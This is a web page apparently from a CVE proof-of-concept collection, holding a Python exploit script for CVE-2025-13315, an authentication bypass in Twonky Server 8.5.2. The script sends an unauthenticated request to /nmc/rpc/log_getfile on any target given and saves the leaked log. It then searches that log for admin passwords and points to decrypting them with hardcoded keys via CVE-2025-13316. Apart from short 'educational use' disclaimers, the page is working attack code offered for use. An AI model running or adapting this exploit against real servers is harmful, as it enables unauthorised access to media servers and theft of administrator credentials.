5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-13315.py PY
#!/usr/bin/env python3
"""
Safe PoC for CVE-2025-13315 - Twonky Server 8.5.2 Authentication Bypass (Log Leak)
Only leaks the log file via /nmc/rpc/log_getfile. Educational use only.
"""

import sys
import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning

# Suppress SSL warnings (many Twonky instances use self-signed certs)
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def main():
    parser = argparse.ArgumentParser(description="Safe PoC for CVE-2025-13315 (Twonky Log Leak)")
    parser.add_argument("target", help="Target URL or IP (e.g., http://192.168.1.100:9000)")
    parser.add_argument("-o", "--output", default="twonky_leaked_log.txt", help="Output file name")
    parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds")
    args = parser.parse_args()

    # Normalize target URL
    url = args.target.rstrip("/")
    if not url.startswith("http"):
        url = "http://" + url

    vulnerable_endpoint = f"{url}/nmc/rpc/log_getfile"

    print(f"[+] Targeting: {url}")
    print(f"[+] Sending request to vulnerable endpoint: /nmc/rpc/log_getfile")

    try:
        response = requests.get(
            vulnerable_endpoint,
            timeout=args.timeout,
            verify=False,          # Many embedded devices use self-signed certs
            headers={"User-Agent": "Mozilla/5.0 (compatible; CVE-2025-13315-PoC)"}
        )

        print(f"[+] HTTP Status: {response.status_code}")

        if response.status_code != 200:
            print("[-] Non-200 response. Target may not be vulnerable or endpoint is blocked.")
            print(response.text[:500])  # Show first part for debugging
            sys.exit(1)

        # Save the full log
        with open(args.output, "w", encoding="utf-8", errors="ignore") as f:
            f.write(response.text)

        print(f"[+] Success! Leaked log saved to: {args.output}")
        print(f"[+] File size: {len(response.text)} bytes")

        # Simple heuristic to highlight possible credentials
        print("\n[+] Scanning for potential admin credentials in log...")
        lines = response.text.splitlines()
        for i, line in enumerate(lines):
            lower = line.lower()
            if any(kw in lower for kw in ["admin", "password", "passwd", "user=", "pass=", "encrypted"]):
                print(f"    Line {i+1:4d}: {line.strip()[:120]}")

        print("\n[!] Next step (CVE-2025-13316): Decrypt the encrypted password using the hardcoded Blowfish keys.")
        print("    Do NOT do this on unauthorized targets.")

    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
    except Exception as e:
        print(f"[-] Unexpected error: {e}")

if __name__ == "__main__":
    print("=== Safe PoC for CVE-2025-13315 (Twonky Server Log Leak) ===\n")
    main()